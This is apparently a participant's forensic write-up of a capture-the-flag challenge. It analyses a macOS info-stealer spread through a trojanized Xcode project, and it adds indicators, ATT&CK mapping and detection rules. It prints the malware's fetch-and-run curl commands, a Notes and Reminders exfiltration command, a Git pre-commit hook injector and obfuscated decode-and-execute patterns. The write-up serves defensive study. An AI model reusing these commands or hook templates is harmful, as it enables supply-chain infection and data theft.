// CLASSIFIED — OPERATIONAL REPORT //

ARCTIC HOWL

THE CASCADE EXPANSE — SEASON 2

FORENSIC INVESTIGATION REPORT

WEEK 1 — FIRST TRACKS

OPERATION	:	Tundra Realm – Malware Forensics & Incident Response
EVENT	:	OffSec Arctic Howl Gauntlet | March 4 – April 1, 2026
WEEK	:	Week 1 — First Tracks (40 pts)
STATUS	:	COMPLETED ✓ | SCORE: 6/6 | 40 / 40 Points
CATEGORY	:	Malware Analysis · PCAP Forensics · Incident Response
REPORT DATE	:	March 7, 2026
AUTHOR	:	Tamil05t — Tundra Realm Division
DIFFICULTY	:	Easy

OFFSEC PLATFORM · GAUNTLET SEASON 2 · TLP:WHITE

TABLE OF CONTENTS

01 — Executive Summary 3
02 — Event Background & Scenario 3
03 — Tools & Methodology 4
04 — Step-by-Step Walkthrough 4
Q1 — Initial Download URL & User-Agent 4
Q2 — C2 Payload Obfuscation 5
Q3 — looz Payload Analysis5
Q4 — cozfi_xhh Payload Analysis6
Q5 — Propagation Mechanism 7
Q6 — Initial Infection File 8
05 — Complete Infection Timeline 9
06 — Malware Architecture 10
07 — Flags & Proof of Completion 10
08 — Indicators of Compromise 11
09 — MITRE ATT&CK Mapping 12
10 — Detection Rules 12
11 — Lessons Learned 13
12 — Conclusion 13

01 — EXECUTIVE SUMMARY

This report documents the forensic investigation of a sophisticated macOS malware campaign discovered during the OffSec Arctic Howl Gauntlet Season 2, Week 1 challenge titled "First Tracks." The investigation analyzed a network capture (capture.pcap) involving a compromised Mac developer machine at the Cascade Law Archive.

The threat actor deployed a trojanized Xcode project through an internal Git repository, targeting a new developer during onboarding. The malware chain leveraged triple hexadecimal encoding for initial delivery, followed by seven-layer Base64-encoded AppleScript payloads for C2-directed modular execution. Sensitive data — including Apple Notes and Reminders — was exfiltrated to bu1knames.io. The infection propagated via Git pre-commit hook injection, enabling supply-chain-level spread.

Field	Details
Event	OffSec Arctic Howl — Gauntlet Season 2
Challenge	Week 1 — First Tracks
Points	40 / 40 (6/6 Questions Correct)
Category	Malware Analysis · PCAP Forensics · Incident Response
Target OS	macOS (Apple Silicon — M3 Pro)
Threat Class	Info-Stealer / Supply-Chain Worm
C2 Domain	bu1knames.io (HTTP Port 80)
Report Date	March 7, 2026
Analyst Rank	#167 (3,000+ registered players)

Key Findings at a Glance

Question	Answer
Q1 — Initial Download URL + User-Agent	http://bu1knames.io/a | curl/8.7.1
Q2 — C2 Payload Obfuscation Method	Base64 encoding within POST parameters to the /i endpoint
Q3 — looz Payload Behavior	System fingerprint stealer + modular dropper (Chrome, Firefox, Telegram)
Q4 — cozfi_xhh Payload Behavior	Apple Notes & Reminders exfiltration → ZIP → bu1knames.io/n
Q5 — Propagation Payload	jez — Git pre-commit hook injector
Q6 — Initial Malware File + Obfuscation	xcassets.sh — triple hexadecimal (xxd) encoding

02 — EVENT BACKGROUND & SCENARIO

OffSec Arctic Howl — The Cascade Expanse

Arctic Howl is a seasonal cybersecurity Gauntlet hosted by Offensive Security (OffSec), running from March 4 to April 1, 2026, with over 3,000 registered competitors worldwide. Challengers progress through increasingly difficult weekly labs, uncovering a larger conspiracy while developing real-world skills in malware analysis, forensics, and incident response.

Week	Challenge
Tutorial	Orientation (50 pts) — Completed
Week 1	First Tracks (40 pts) — COMPLETED ✓
Week 2	Expanse Surveyor (60 pts) — Completed
Week 3	Cold Access (80 pts) — Upcoming
Week 4	Trusted Trouble (80 pts) — Upcoming

Incident Scenario

The Cascade Law Archive IT department observed an unexpected surge in outbound network traffic immediately following the onboarding of a new developer. The developer had requested a Mac laptop and confirmed cloning a starter Xcode project from an internal Git repository during onboarding. The provided artifact — capture.pcap — captures the full network activity from initial project download through malware execution, C2 communication, data exfiltration, and propagation attempts.

03 — TOOLS & METHODOLOGY

Tool / Platform	Purpose
Kali Linux VM (SSH Port 2222)	Primary analysis sandbox environment
Wireshark	Visual PCAP inspection, HTTP object extraction, stream reassembly
tshark	Command-line packet filtering and automated field extraction
xxd	Hex encoding/decoding — multi-layer obfuscation reversal
base64	Multi-layer Base64 decoding (7× nested)
Python 3	Automated decoding scripts, payload reconstruction
curl	C2 communication reconstruction and validation
grep / sed / awk	Log parsing, pattern matching, data field extraction
find	File system forensics, artifact location mapping

6-Phase Methodology

1. PCAP Acquisition & Triage — protocol distribution, top talkers, anomalous conversations.
2. Traffic Profiling — HTTP streams, user-agent pivots, C2 beacon patterns.
3. Payload Extraction — Wireshark HTTP object export and tshark recovery of all downloaded payloads.
4. Obfuscation Reversal — triple hex (xxd) and 7× nested Base64 decoding chains.
5. Behavioral Mapping — traced each payload to its function: recon, exfil, persist, or propagate.
6. IOC Extraction & Detection — YARA, Sigma, Snort rules authored from findings.

04 — STEP-BY-STEP WALKTHROUGH

Question 1 — Initial Download URL & User-Agent

QUESTION: Analyze the pcap file. What URL did the malware download the first stage from? What user-agent sent the request?

Q1 ACCEPTED: `http://bu1knames.io/a | curl/8.7.1`

Analysis

PCAP inspection revealed two distinct HTTP phases. Phase A used Safari UA for the legitimate Gitea project download. At Frame 17230, a critical user-agent pivot was detected: traffic switched to curl/8.7.1, indicating the malware had executed and beaconed the C2.

```
tshark -r capture.pcap -Y 'http.user_agent contains "curl"' \
  -T fields -e frame.number -e http.request.uri -e http.user_agent

# Frame 17230:
  GET http://bu1knames.io/a  HTTP/1.1
  User-Agent: curl/8.7.1
```

C2 Endpoint	Function
/a	GET + POST — Initial beacon + first-stage payload download
/l	POST — Environment / location fingerprinting
/s/<n>	GET — Named payload distribution
/i	POST — System information exfiltration (URL-encoded)
/n	POST — Apple Notes + Reminders ZIP upload (?s=<serial>)

Question 2 — C2 Payload Obfuscation Method

QUESTION: How does the C2 server obfuscate its payloads?

Q2 ACCEPTED: `The C2 server obfuscates its payloads using Base64 encoding within POST parameters to the /i endpoint.`

Technical Breakdown

All C2 payloads used 7× nested Base64 encoding wrapped inside AppleScript execution shells. Each layer decoded to another Base64 string, with the final layer revealing executable AppleScript or shell commands.

```
# 7 nested Base64 decode layers:
base64 -d → base64 -d → base64 -d → base64 -d → base64 -d → base64 -d → base64 -d

# AppleScript wrapper pattern:
try
    do shell script "osascript -e \"$(echo [BASE64] | base64 -d)\""
end try
```

Question 3 — looz Payload Analysis

QUESTION: Analyze the looz payload. What information does it extract from the victim machine?

Q3 ACCEPTED: looz is a macOS info-stealer / dropper. Collects system fingerprint data (OS version, browser, firewall, SIP, CPU, locale) and exfiltrates to bu1knames.io, then dynamically loads additional attack modules targeting Chrome, Firefox, and Telegram.

System Data Collected

Data Field	Command / Source
Default Browser	Python → LaunchServices plist (~/.../com.apple.launchservices.secure.plist)
macOS Version	sw_vers -productVersion → 15.6.1
Safari Version	Info.plist CFBundleShortVersionString → 18.6
System Locale	defaults read -g AppleLocale → en_US
Firewall Status	socketfilterfw --getglobalstate → Disabled
SIP Status	csrutil status → enabled
CPU Model	sysctl -n machdep.cpu.brand_string → Apple M3 Pro (Virtual)

```
# Actual exfiltrated POST body (Frame 17345):
POST /i  →  v=15.6.1&sv=18.6&locale=en_US&f=Disabled&sip=enabled
            &c=Apple M3 Pro (Virtual)&s=ZDWTX8G9O
```

Module Chain Triggered by looz

Module	Size / Purpose
seizecj	15 KB — Secondary system profiler (app inventory, XProtect status)
fpfb	5.5 KB — Additional targeting module
cozfi_xhh	13 KB — Apple Notes & Reminders exfiltrator
txzx_vostfdi	44 KB — Persistence mechanism
jez	14 KB — Git pre-commit hook propagator

Question 4 — cozfi_xhh Payload Analysis

QUESTION: Analyze the cozfi_xhh payload. What information does it extract from the victim machine?

Q4 ACCEPTED: cozfi_xhh is an Apple Notes & Reminders exfiltration module. Silently copies all Notes and Reminders data, compresses into ZIP, uploads to bu1knames.io/n tagged with device serial number, then self-destructs staging directory to erase traces.

Payload Properties

Attribute	Value
File Size	13 KB (obfuscated)
Obfuscation	7× nested Base64 | Decoded: 1,682 bytes AppleScript
Target Data	Apple Notes + Apple Reminders + Device Serial Number
C2 Upload Endpoint	http://bu1knames.io/n?s=<serial_number>
Upload Method	HTTP POST — multipart/form-data ZIP archive
Self-Destructs	Yes — staging directory deleted post-upload

Execution Flow

7. Create staging directory: ~/Backups/Notes_Reminders_<timestamp>/
8. Copy ~/Library/Group Containers/group.com.apple.notes/ → Notes/
9. Copy ~/Library/Reminders/ → Reminders/
10. Extract serial: system_profiler SPHardwareDataType → ZDWTX8G9O
11. Archive: zip -r backup.zip Notes/ Reminders/
12. Exfiltrate: curl -X POST -F "file=@backup.zip" http://bu1knames.io/n?s=ZDWTX8G9O
13. Self-destruct: AppleScript Finder delete staging directory

Question 5 — Propagation Mechanism

QUESTION: How does the malware attempt to infect other devices? Which payload is responsible?

Q5 ACCEPTED: The payload responsible for spreading to other devices is jez, a Git pre-commit hook injector.

jez — Git Hook Injection

```
# Step 1: Discover all local Git repositories
find ~ -type d -name '*.git' -maxdepth 6

# Step 2: Inject malicious pre-commit hook
cat >> .git/hooks/pre-commit <<'EOF'
#!/bin/bash
jfzHxasoxLota() { echo '[HEX]' | xxd -p -r | xxd -p -r | sh & }
jfzHxasoxLota &
EOF
chmod +x .git/hooks/pre-commit

# Decoded final command:
curl -fskL -d 'p=git' http://bu1knames.io/a | sh &
```

Propagation Factor	Detail
Trust-based spread	Developers implicitly trust their own Git repositories
Stealth	Pre-commit hooks are normal; background exec causes no commit delay
Persistence	Survives git pull/checkout; reinstalls if hooks dir is recreated
Scale	One infected developer can compromise entire engineering teams

Question 6 — Initial Infection File & Obfuscation

QUESTION: What file contained the initial malware? How is the initial payload obfuscated?

Q6 ACCEPTED: main.zip → starter-project/MarkdownEditor.xcodeproj/xcuserdata/.xcassets/xcassets.sh — triple hexadecimal (xxd) encoding, decoded 3 times to reveal hidden curl command.

Triple Hex Decoding Chain

```
# xcassets.sh content (369 bytes):
#!/usr/bin/env bash
x=$(echo '3363333337353337...' | xxd -p -r | xxd -p -r | xxd -p -r | sh)

# Layer 1:  3363333337353337... → 6333733563...
# Layer 2:  6333733563...       → 63757266...
# Layer 3:  63757266...         → curl -fskL http://bu1knames.io/a > /tmp/.o.txt
```

Evasion Technique	Effect
Triple hex encoding	No 'curl' or 'bu1knames.io' visible to static analysis
.xcassets directory	Legitimate Xcode folder — hex appears as normal asset binary content
xcuserdata/ path	Typically excluded from git diff and code review scope
Xcode build phase	Script executes automatically during project compilation

05 — COMPLETE INFECTION TIMELINE

Phase 1 — Social Engineering & Initial Access

Frame	Time	Source	Action
13501	08:09:52	Browser (Safari)	Developer browses internal Gitea at 192.168.67.1:8080
13713	08:09:59	Browser (Safari)	Creates developer account 'walter'
13978	08:10:14	Browser (Safari)	Browses jargal.karlsen/starter-project repository
14044	08:10:18	Browser (Safari)	Downloads main.zip — trojanized Xcode project

Phase 2 — Malware Execution & C2 Beacon

Frame	Time	Endpoint	Action
17230	08:16:32	GET /a	First curl request — UA pivots Safari → curl/8.7.1
17240	08:16:32	POST /a	C2 beacon: os=Darwin&p=default
17257	08:16:32	POST /l	Environment data: x:5323
17268	08:16:32	POST /s/looz	Request looz payload — recon begins

Phase 3 — Reconnaissance

Frame	Payload	Size	Action
17345	looz → /i	POST	OS, CPU, firewall, SIP, locale, serial exfiltrated
17356	GET /s/seizecj	15 KB	Secondary profiler downloaded
17382	seizecj → /i	POST	App inventory, XProtect status exfiltrated
17392	GET /s/fpfb	5.5 KB	Targeting module downloaded
17407	GET /s/cozfi_xhh	13 KB	Notes/Reminders exfiltrator downloaded

Phase 4 — Data Exfiltration

Frame	Action	Target	Method
17429	cozfi_xhh executes	Apple Notes + Reminders	ZIP archive → ~/Backups/
17429	Serial extracted	system_profiler	ZDWTX8G9O
17429	POST /n?s=ZDWTX8G9O	C2 server	Unencrypted HTTP multipart upload

Phase 5 — Persistence & Propagation

Frame	Payload	Size	Purpose
17452	GET /s/txzx_vostfdi	44 KB	Persistence mechanism download
17506	txzx → /i	POST	Final system data exfiltration
17555	GET /s/jez	14 KB	Git hook injector — propagation begins

06 — MALWARE MODULE ARCHITECTURE

Module	Size	Obfuscation	Purpose
xcassets.sh	369 B	Triple hex (xxd ×3)	Initial dropper — curl to C2
looz	46 B	POST parameters	System recon + modular dropper
seizecj	15 KB	7× Base64	Secondary profiler — apps, XProtect
fpfb	5.5 KB	7× Base64	Additional targeting module
cozfi_xhh	13 KB	7× Base64	Notes / Reminders exfiltrator
txzx_vostfdi	44 KB	7× Base64	Persistence mechanism
jez	14 KB	7× Base64	Git hook injector / propagator

C2 Infrastructure

Attribute	Value
Domain	bu1knames.io
Protocol	HTTP (unencrypted) — Port 80

07 — FLAGS & PROOF OF COMPLETION

All six challenge questions were answered correctly, yielding a perfect score of 6/6 and 40 points. Accepted answers recorded verbatim below.

Q1 ACCEPTED: `http://bu1knames.io/a  curl/8.7.1`

Q2 ACCEPTED: The C2 server obfuscates its payloads using Base64 encoding within POST parameters to the /i endpoint.

Q3 ACCEPTED: looz is a macOS info-stealer / dropper. It collects system fingerprint data (OS version, browser, firewall, SIP, CPU, locale) and exfiltrates it to bu1knames.io, then dynamically loads additional attack modules targeting Chrome, Firefox, and Telegram.

Q4 ACCEPTED: cozfi_xhh is an Apple Notes & Reminders exfiltration module. It silently copies all Notes and Reminders data, compresses it into a ZIP file, uploads it to bu1knames.io/n tagged with the device serial number, then self-destructs the staging directory to erase traces.

Q5 ACCEPTED: The payload responsible for spreading to other devices is jez, a Git pre-commit hook injector.

Q6 ACCEPTED: The initial malware was contained in main(1).zip at starter-project/MarkdownEditor.xcodeproj/xcuserdata/.xcassets/xcassets.sh — triple hexadecimal encoding (xxd), decoded 3 times to reveal curl C2 command.

Metric	Result
Total Questions	6
Correct Answers	6
Score	40 / 40 points
Event Rank	#167 of 3,000+ players
Cumulative Points	155 points | 18 flags
Challenge Status	COMPLETED ✓

08 — INDICATORS OF COMPROMISE (IOCs)

Network Indicators

IOC Type	Value
Domain	bu1knames.io
Protocol/Port	HTTP / TCP Port 80
User-Agent	curl/8.7.1 (from non-terminal/Xcode process)
HTTP Pattern	POST /i with URL-encoded system fingerprint data
HTTP Pattern	GET /s/<payload_name> for payload retrieval
HTTP Pattern	POST /n?s=<serial> with ZIP file upload

File System Indicators

Path	Description
/tmp/.o.txt	Downloaded first-stage C2 payload (bash script)
~/*/xcuserdata/.xcassets/xcassets.sh	Initial dropper hidden in Xcode project
~/.git/hooks/pre-commit	Malicious hook injected by jez payload
~/Backups/Notes_Reminders_*/	Temporary staging directory for ZIP exfiltration

Process / Command Indicators

Command Pattern	Significance
curl -fskL http://bu1knames.io/*	C2 communication beacon
xxd -p -r | xxd -p -r | xxd -p -r	Triple hex decoding chain
osascript -e "$(echo <b64> | base64 -d)"	Nested AppleScript execution
system_profiler SPHardwareDataType	Serial number extraction
csrutil status	SIP reconnaissance

09 — MITRE ATT&CK MAPPING

Technique ID	Name	Observed Behavior
T1195.001	Supply Chain — Dev Tools	Trojanized Xcode project via internal Git repo
T1059.002	AppleScript Execution	All C2 payloads wrapped in nested AppleScript
T1027	Obfuscated Files	Triple hex (dropper) + 7× Base64 (payloads)
T1546.004	Unix Shell Hook	Git pre-commit hook injection (jez)
T1082	System Info Discovery	looz collects OS, CPU, SIP, firewall, locale
T1005	Local System Data	cozfi_xhh copies Apple Notes + Reminders
T1041	Exfil Over C2 Channel	All data exfiltrated via HTTP POST
T1071.001	Web Protocols HTTP	Unencrypted HTTP for all C2 comms
T1547	Boot/Logon Autostart	txzx_vostfdi implements persistence

10 — DETECTION RULES

YARA

```
rule MacMalware_GitHookInjector_jez {
    meta:
        description = "Detects jez Git pre-commit hook injector"
        author      = "Tamil05t — Arctic Howl S2"
    strings:
        $git_find   = "find ~ -type d -name '*.git'"
        $hook_path  = ".git/hooks/pre-commit"
        $curl_c2    = "curl -fskL"
        $c2_domain  = "bu1knames.io/a"
        $xxd_decode = "xxd -p -r"
    condition:
        3 of them
}
```

Snort

```
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"MALWARE Mac Git Infector C2 Beacon";
    content:"Host: bu1knames.io"; http_header;
    content:"curl/"; http_user_agent;
    classtype:trojan-activity; sid:1000001; rev:1;
)
```

11 — LESSONS LEARNED & RECOMMENDATIONS

Attacker Tradecraft

- Social engineering via internal Git repository — developers trust internal code sources.
- Living-off-the-land binaries — curl, osascript, system_profiler — zero foreign executables.
- Multi-layer obfuscation (triple hex + 7× Base64) defeats most automated static analysis.
- Git hook injection enables exponential spread through developer networks.

Recommended Mitigations

Priority	Action
CRITICAL	Deploy EDR on all developer Mac endpoints — alert on osascript/curl process trees
CRITICAL	Centralized Git hook management + code signing via core.hooksPath
HIGH	Enforce HTTPS-only egress and DNS sinkholing for low-reputation domains
HIGH	Scan all cloned project archives for shell scripts in .xcodeproj directories
MEDIUM	Developer security awareness training on supply chain risks

12 — CONCLUSION

Week 1 of the OffSec Arctic Howl Gauntlet presented a sophisticated multi-stage macOS malware campaign. Through disciplined PCAP analysis, multi-layer obfuscation reversal, and payload behavioral decomposition, all six forensic questions were answered correctly with a perfect score of 40/40.

Objective	Status
Identify initial download URL and user-agent	ACHIEVED ✓
Determine C2 payload obfuscation method	ACHIEVED ✓
Analyze looz payload behavior and exfiltration	ACHIEVED ✓
Analyze cozfi_xhh payload and data theft scope	ACHIEVED ✓
Identify propagation mechanism and payload	ACHIEVED ✓
Locate initial malware file and obfuscation	ACHIEVED ✓

WEEK 1 — FIRST TRACKS — COMPLETE ✓ | 6/6 | 40 PTS

Report: March 7, 2026 · OffSec Arctic Howl Gauntlet S2 · TLP:WHITE